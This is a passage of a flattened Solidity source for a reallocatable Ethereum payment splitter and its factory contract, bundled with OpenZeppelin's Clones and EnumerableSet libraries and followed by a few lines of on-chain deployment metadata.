to, fromHint, toHint); } /** * @dev releases funds first, then transfers all shares from msg.sender to another one (`to`) * @return true if new payee was created, false if shares went to existing payee */ // Ganz weg von Splitter? OK weg 1412 // function reallocateSelf(address payable to, uint8 fromHint, uint8 toHint) external returns (bool) { // require(shares(_msgSender()) > 0, "ReallocatablePaymentSplitterUpgradeable: caller is not owner of any shares"); // return _reallocate(payable(msg.sender), to, fromHint, toHint); // } /** * @return true if new payee was created */ function _reallocate(address payable from, address payable to, uint8 fromHint, uint8 toHint) internal returns (bool) { require(from != to, "ReallocatablePaymentSplitterUpgradeable: reallocate to same account"); // zero address is same as deleted element of payees array => HAVE to check require(from != address(0), "ReallocatablePaymentSplitterUpgradeable: from is zero address"); require(to != address(0), "ReallocatablePaymentSplitterUpgradeable: to is zero address"); bool result = false; { // Against "stack too deep" error uint256 fromIndex = payeesIndex(fromHint, from); uint256 toIndex = payeesIndex(toHint, to); require(fromIndex != type(uint256).max, "ReallocatablePaymentSplitterUpgradeable: from not found in payees array"); if(toIndex != type(uint256).max) { // to is existing shares owner rawStore(fromIndex, 0); result = false; } else { // to is new, take place of from in payees array rawStore(fromIndex, uint256(uint160(address(to)))); result = true; } } // Destroys info in _payees array in that accounts with zero balance remain! // Not anymore, but have zero elements in place of deleted ones, and length is not accurate anymore // Ziel anybody / neuer ist OK! // Aber Quelle == alter vl erst hier checken uint256 sharesFrom; uint256 sharesTo; uint256 sharesFromSlot; uint256 sharesToSlot; //cleanup: release funds first if(releasable(from) > 0) { release(from); } if(releasable(to) > 0) { release(to); } //load mappings assembly { let _sharesSlot := 53 mstore(32, _sharesSlot) //shareFrom = _share[from] mstore(0, from) sharesFromSlot := keccak256(0, 64) sharesFrom := sload(sharesFromSlot) //shareTo = _share[to] mstore(0, to) sharesToSlot := keccak256(0, 64) sharesTo := sload(sharesToSlot) } emit sharesTransferred(from, to, sharesFrom); sharesTo += sharesFrom; sharesFrom = 0; //write back to storage assembly { sstore(sharesFromSlot, sharesFrom) //_share[from] = shareFrom sstore(sharesToSlot, sharesTo) //_share[to] = shareTo } // adapt released values uint256 releasedFrom; uint256 releasedTo; uint256 releasedFromSlot; uint256 releasedToSlot; //load mappings assembly { let _releasedSlot := 54 mstore(32, _releasedSlot) //releasedFrom = _released[from] mstore(0, from) releasedFromSlot := keccak256(0, 64) releasedFrom := sload(releasedFromSlot) //releasedTo = _released[to] mstore(0, to) releasedToSlot := keccak256(0, 64) releasedTo := sload(releasedToSlot) } // uint256 totalPool = (totalReleased() + address(this).balance); // uint256 sharesBoth = sharesFrom + sharesTo; releasedTo += releasedFrom; releasedFrom = 0; //write back to storage assembly { sstore(releasedFromSlot, releasedFrom) // share[from] = shareFrom sstore(releasedToSlot, releasedTo) // share[to] = shareTo } return result; } /** * @dev Triggers a transfer to `msg.sender` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function releaseMyETH() external notAfterRescue { release(payable(msg.sender)); } function release(address payable account) public virtual override notAfterRescue { return PaymentSplitterUpgradeable.release(account); } /** * @dev rescue function if something goes wrong: transfers contract balance to owner */ function rescue() external onlyOwner { if(wasRescued == false) { wasRescued = true; } AddressUpgradeable.sendValue(payable(owner()), address(this).balance); } /** * @dev Throws if the sender is not the Factory. */ function _checkFactory() internal view virtual { require(getFactory() == _msgSender(), "ReallocatablePaymentSplitterUpgradeable: caller is not the factory"); } function payeesLength() private view returns (uint256) { uint256 length; assembly{ let _payeesSlot := 55 length := sload(_payeesSlot) } return length; } function getPayees() public view virtual returns (address[] memory) { uint256 length = payeesLength(); address[] memory result = new address[](length); for(uint256 i = 0; i < length; i++) { result[i] = payee(i); } return result; } // confirm hint (is not reliable) or find on our own // needs invariant that each payee only occurs once in _payees array function payeesIndex(uint256 hint, address supposed) private view returns (uint256) { uint256 length = payeesLength(); // Hint works if(hint < length && payee(hint) == supposed) return hint; for(uint256 i = 0; i < length; i++) { // War payee(hint) => falsch if(payee(i) == supposed) return i; } return type(uint256).max; } function rawLoad(uint256 index) private view returns (uint256) { uint256 _payeesSlot = 55; bytes32 location = keccak256(abi.encode(_payeesSlot)); uint256 data; assembly { data:= sload(add(location, index)) } return data; } function rawStore(uint256 index, uint256 data) private { uint256 _payeesSlot = 55; bytes32 location = keccak256(abi.encode(_payeesSlot)); assembly { sstore(add(location, index), data) } } } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/Clones.sol) /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes // of the `implementation` address with the bytecode before the address. mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000)) // Packs the remaining 17 bytes of `implementation` with the bytecode after the address. mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)) instance := create(0, 0x09, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes // of the `implementation` address with the bytecode before the address. mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000)) // Packs the remaining 17 bytes of `implementation` with the bytecode after the address. mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)) instance := create2(0, 0x09, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { /// @solidity memory-safe-assembly assembly { let ptr := mload(0x40) mstore(add(ptr, 0x38), deployer) mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff) mstore(add(ptr, 0x14), implementation) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73) mstore(add(ptr, 0x58), salt) mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37)) predicted := keccak256(add(ptr, 0x43), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt ) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/structs/EnumerableSet.sol) // This file was procedurally generated from scripts/generate/templates/EnumerableSet.js. /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ```solidity * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. * * [WARNING] * ==== * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure * unusable. * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info. * * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an * array of EnumerableSet. * ==== */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastValue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastValue; // Update the index for the moved value set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { bytes32[] memory store = _values(set._inner); bytes32[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values in the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } } // Following line is a dummy import, otherwise TUP would not be compiled /** * @title ReallocatablePaymentSplitterFactory * @dev creates and manages ReallocatablePaymentSplitter * * This contract is able to release funds in a bulk for shareholders who have stakes in multiple ReallocatablePaymentSplitters at once */ // contract ReallocatablePaymentSplitterFactoryUpgradeable is OwnableUpgradeable { contract ReallocatablePaymentSplitterFactoryUpgradeable is OwnableUpgradeable { // struct Validator { // // test for ordering // uint64 version; // First version is 1 not 0! // address validator; // } // using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; // Validator val = Validator(0, payable(0)); // bytes32 test = bytes32(abi.encodePacked(bytes(val))); // uint64 public constant RPS_VERSION_START = 1; // uint64 public constant RPS_VERSION_CURRENT = 2; // uint256 public constant oneEther = 1 ether; event newReallocatablePaymentSplitter(address reallocatablePaymentSplitter); address public rpsImpl; uint64 public currentVersion; // version is tied to implementation, ODER gleich von Impl bekommen? // mapping(address => Validator[]) public validators; // Brauche jetzt getter!!!!!!!!!!!!! // Never ever delete value of mapping, only delete members of Bytes32Set // mapping(address => EnumerableSetUpgradeable.Bytes32Set) internal validators; mapping(address => EnumerableSetUpgradeable.AddressSet) internal validators; mapping(address => uint64) internal versions; // rpsImpl and currentVersion should be in same storage slot uint256[47] private __gap; function __ReallocatablePaymentSplitterFactory_init(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) internal onlyInitializing { __Ownable_init_unchained(); __ReallocatablePaymentSplitterFactory_init_unchained(_rpsImpl, _version, _payees, _validators); } function __ReallocatablePaymentSplitterFactory_init_unchained(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) internal onlyInitializing { rpsImpl = _rpsImpl; currentVersion = _version; // require lengths equal // addPayee loop // test which index to take!!! require(_payees.length == _validators.length, "ReallocatablePaymentSplitterFactoryUpgradeable: length of payees array not equal to first dimension of validators array"); for(uint256 i = 0; i < _payees.length; i++) { addPayee(_payees[i], _validators[i]); } } // Possibly needs refactor to conform to Upgradeable pattern function initialize(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) external initializer { __ReallocatablePaymentSplitterFactory_init(_rpsImpl, _version, _payees, _validators); } // constructor(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) Ownable() { // rpsImpl = _rpsImpl; // // require lengths equal // // addPayee loop // // test which index to take!!! // for(uint256 i = 0; i < _payees.length; i++) { // addPayee(_payees[i], _validators[i], _version); // } // } // add current version; list of versions for existing ones is supplied in 2-dim Validator array // constructor(address _rpsImpl/*, uint256[][] memory test*/) OwnableUpgradeable() { // rpsImpl = _rpsImpl; // } /** * @dev creates a new ReallocatablePaymentSplitter with given args and transfers the ownership to the owner of this contract */ function create(address[] memory _payees, uint256[] memory _shares) external onlyOwner returns(address) { address payable rpsAddr = payable(Clones.clone(rpsImpl)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); rpsInst.initialize(_payees, _shares, address(this)); rpsInst.transferOwnership(owner()); emit newReallocatablePaymentSplitter(rpsAddr); // for(uint256 i = 0; i < _payees.length; i++) { // validators[_payees[i]].add(toBytes32(currentVersion, rpsAddr)); // } addValidator(_payees, rpsAddr); versions[rpsAddr] = currentVersion; return rpsAddr; } /** * @dev bulk release of funds for `msg.sender` */ function releaseMyETH() external { release(payable(msg.sender)); } /** * @dev add one or more payee(s) to a (possibly new) validator */ // function add(address[] memory _payees, address payable _validator, uint64 _version) external onlyOwner { // for(uint256 i = 0; i < _payees.length; i++) { // validators[_payees[i]].add(toBytes32(_version == 0 ? currentVersion : _version, _validator)); // } // } // noch true / require dass noch nicht oder eh da, allein schon wegen version /** * @dev add multiple payees to one validator */ function addValidator(address[] memory _payees, address payable _validator) public onlyOwner { for(uint256 i = 0; i < _payees.length; i++) { // require(validators[_payees[i]].add(toBytes32(_version == 0 ? currentVersion : _version, _validator)), require(validators[_payees[i]].add(_validator), "ReallocatablePaymentSplitterFactoryUpgradeable: combination of validator and version already exists for one payee"); } } /** * @dev add one payee to multiple validators */ function addPayee(address _payee, address payable[] memory _validators) public onlyOwner { for(uint256 i = 0; i < _validators.length; i++) { // require(validators[_payee].add(toBytes32(_version == 0 ? currentVersion : _version, _validators[i])), require(validators[_payee].add(_validators[i]), "ReallocatablePaymentSplitterFactoryUpgradeable: one combination of validator and version already exists for payee"); } } /** * @dev remove one payee from one validator */ function removePayeeFromValidator(address _payee, address payable _validator) public onlyOwner { // require(validators[_payee].remove(toBytes32(_version == 0 ? currentVersion : _version, _validator)), require(validators[_payee].remove(_validator), "ReallocatablePaymentSplitterFactoryUpgradeable: combination of validator and version does not exist for payee"); } /** * @dev change impl address and version used by factory for future splitters */ function changeImplAddr(address _rpsImpl, uint64 _version) external onlyOwner { rpsImpl = _rpsImpl; currentVersion = _version; } /** * @dev indicate version change of validator */ function changeVersion(address _validator, uint64 _version) external onlyOwner { versions[_validator] = _version; } /** * @dev releases funds first, then transfers all shares `from` one account to another one (`to`) * only for version >= 2 */ function reallocate(address payable from, uint16 indexValidator, address payable to, uint8 fromHint, uint8 toHint) external onlyOwner { // address payable rpsAddr = payable(validatorFromBytes32(validators[from].at(indexValidator)).validator); address payable rpsAddr = payable(validators[from].at(indexValidator)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); // require(rpsInst.shares(from) > 0, "ReallocatablePaymentSplitterUpgradeable: to is not owner of any shares"); address payable[] memory array = new address payable[](1); array[0] = rpsAddr; // Or maybe version without require so that false bookkeeping does not hinder reallocation removePayeeFromValidator(from, rpsAddr); if(rpsInst.reallocate(from, to, fromHint, toHint)) { // new payee for this validator addPayee(to, array); // add again } else { // addPayee(to, array); // remove again // nothing as "to" already has this validator } // Update: delete validator from payee array, possibly delete whole shareholder array from mapping < DONT! // possibly add new shareholder array to mapping, add validator to array } // only for version >= 2 function reallocateMyAcc(uint16 indexValidator, address payable to) external { // address payable rpsAddr = payable(validatorFromBytes32(validators[msg.sender].at(indexValidator)).validator); require(validators[msg.sender].length() > indexValidator); address payable rpsAddr = payable(validators[msg.sender].at(indexValidator)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); // require(shares(_msgSender()) > 0, "ReallocatablePaymentSplitterUpgradeable: caller is not owner of any shares"); // Check splitter reallocate before: bool check = rpsInst.reallocate(payable(msg.sender), to, 0, 0); // Or maybe version without require so that false bookkeeping does not hinder reallocation address payable[] memory array = new address payable[](1); array[0] = rpsAddr; // removePayeeFromValidator(msg.sender, rpsAddr); validators[msg.sender].remove(rpsAddr); if(check) { // new payee for this validator // addPayee(to, array); validators[to].add(rpsAddr); } else { // nothing "to" already has this validator } // Update: delete from / possibly add new } /** * @dev bulk release of funds for `_account` */ function release(address payable _account) public { // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; for(uint256 i = 0; i < accountValidators.length(); i++) { // if(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).releasable(_account) > 0) { if(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).wasRescued() == false && ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).releasable(_account) > 0) { // ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).release(_account); ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).release(_account); } } } /** * @dev computes the total releasable amount for all RPS of given account * @return the releasable amount in wei */ function releasable(address payable _account) public view returns(uint256) { uint256 sum = 0; // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; for(uint256 i = 0; i < accountValidators.length(); i++){ if(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).wasRescued() == false) { // sum += ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).releasable(_account); sum += ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).releasable(_account); } } return sum; } /** * @dev computes the total releasable amount for all RPS of given account * @return the releasable amount in ether as a comma separated string */ // test function releasableString(address payable _account) public view returns(string memory) { return weiToEther(releasable(_account)); // bytes18 frac = bytes32(bytes(StringsUpgradeable.toString(releasable(_account) + 1 ether))); // return string(abi.encodePacked(frac)); } /** * @dev computes the total releasable amount for all RPS of msg.sender * @return the releasable amount in wei */ function releasableMyAcc() public view returns(uint256) { return releasable(payable(msg.sender)); } /** * @dev computes the total releasable amount for all RPS of msg.sender * @return the releasable amount in wei */ // test function releasableMyAccString() public view returns(string memory) { // return StringsUpgradeable.toString(releasable(payable(msg.sender))/oneEther); return weiToEther(releasable(payable(msg.sender))); } // /** // * @dev computes the total releasable amount for all RPS of msg.sender // * @return the releasable amount in wei // */ // function releasableMyAcc() public view returns(uint256) { // return releasable(payable(msg.sender)); // } function sharesReportMyAcc() public view returns (string memory) { return sharesReport(msg.sender); } function sharesReport(address _account) public view returns (string memory) { // uint256 length = validators[account].length; // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; // bytes[] memory report = new bytes[](2/* + accountValidators.length*/); // report[0] = abi.encodePacked("Report for ", _account, "\n"); // report[1] = abi.encodePacked("Index\t Address\t Shares\n"); string memory report = string(string.concat("Report for ", bytes(StringsUpgradeable.toHexString(_account)), "\nIndex\tAddress of Validator\t\t\t\tShares\n")); for(uint256 i = 0; i < accountValidators.length(); i++) { // report[i] = (abi.encodePacked(i, accountValidators[i].validator, weiToEther(ReallocatablePaymentSplitterUpgradeable(accountValidators[i].validator).shares(_account)), "\n")); // report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(validatorFromBytes32(accountValidators.at(i)).validator)), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).shares(_account))), "\n")); report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(accountValidators.at(i))), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).shares(_account))), "\n")); } // sonst mit iterativ string concat!!! Gas eh egal! // return (abi.encode(report)); return report; // return (abi.encodePacked(report[0], report[1])); } function getValidatorsMyAcc() public view virtual returns (address[] memory) { return getValidators(msg.sender); } function getValidators(address _payee) public view virtual returns (address[] memory) { return validators[_payee].values(); } function payeesReport(address payable _validator) public view returns (string memory) { // uint256 length = validators[account].length; ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(_validator); address[] memory payees = rpsInst.getPayees(); // bytes[] memory report = new bytes[](2/* + accountValidators.length*/); // report[0] = abi.encodePacked("Report for ", _account, "\n"); // report[1] = abi.encodePacked("Index\t Address\t Shares\n"); string memory report = string(string.concat("Report for ", bytes(StringsUpgradeable.toHexString(_validator)), "\nIndex\tAddress of Payee\t\t\t\tShares\n")); for(uint256 i = 0; i < payees.length; i++) { address payee = payees[i]; // To filter out cases of zero address caused by reallocation from old payee to old payee // Not critical, would show zero address with zero shares otherwise if(payee == address(0)) continue; // report[i] = (abi.encodePacked(i, accountValidators[i].validator, weiToEther(ReallocatablePaymentSplitterUpgradeable(accountValidators[i].validator).shares(_account)), "\n")); // report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(validatorFromBytes32(accountValidators.at(i)).validator)), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).shares(_account))), "\n")); report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(payee)), "\t", bytes(weiToEther(rpsInst.shares(payee))), "\n")); } // sonst mit iterativ string concat!!! Gas eh egal! // return (abi.encode(report)); return report; // return (abi.encodePacked(report[0], report[1])); } function setVersion(address _validator, uint64 _version) public virtual onlyOwner { versions[_validator] = _version; } function getVersion(address _validator) public view virtual returns (uint64) { return versions[_validator]; } uint256 constant DECIMALS = 18; function weiToEther(uint256 weiAmount) internal pure returns (string memory) { // Calculate the whole part uint256 etherAmount = weiAmount / (1 ether); // Calculate the fractional part uint256 fractionalPart = (weiAmount % (1 ether)); // Pad the fractional part with leading zeros string memory fractionalString = padFractional(StringsUpgradeable.toString(fractionalPart)); // Combine whole and fractional parts into a string string memory result = string(abi.encodePacked(StringsUpgradeable.toString(etherAmount), ".", fractionalString)); return result; } // Helper function to pad the fractional part with leading zeros function padFractional(string memory fractionalString) internal pure returns (string memory) { uint256 length = bytes(fractionalString).length; uint256 decimals = DECIMALS; // Calculate the number of leading zeros needed uint256 padding = decimals > length ? decimals - length : 0; // Construct the padded fractional part bytes memory result = new bytes(padding + length); for (uint256 i = 0; i < padding; i++) { result[i] = '0'; } for (uint256 i = 0; i < length; i++) { result[padding + i] = bytes(fractionalString)[i]; } return string(result); } // function toBytes32(uint64 version, address validator) private pure returns(bytes32) { // return bytes32(uint256(version)) << 160 | bytes32(uint256(uint160(validator))); // } // function validatorToBytes32(Validator memory elem) private pure returns(bytes32) { // return toBytes32(elem.version, elem.validator); // } // function fromBytes32(bytes32 raw) private pure returns(uint64, address) { // uint64 version = uint64(uint256(raw) >> 160); // address validator = address(uint160(uint256(raw))); // return (version, validator);// bytes32(uint256(version)) << 160 | bytes32(uint256(uint160(validator))); // } // function validatorFromBytes32(bytes32 raw) private pure returns(Validator memory) { // // uint64 version = uint64(uint256(raw) >> 160); // // address validator = address(uint160(uint256(raw))); // (uint64 version, address validator) = fromBytes32(raw); // return Validator(version, payable(validator)); // } }
1
19,501,482
339b3d7b88eb944b1d5579a397ae85c61836047ae258eed026236f082d848a76
4c179bea619cd52a19e19e08c557e84d5cac4852c27f6ddf1499b71eccba6618
9053e2c665cfc7a522b5130e4bc4159c697d6148
9053e2c665cfc7a522b5130e4bc4159c697d6148
c8576717d2f0b9311be2a659ec878629f8be553f
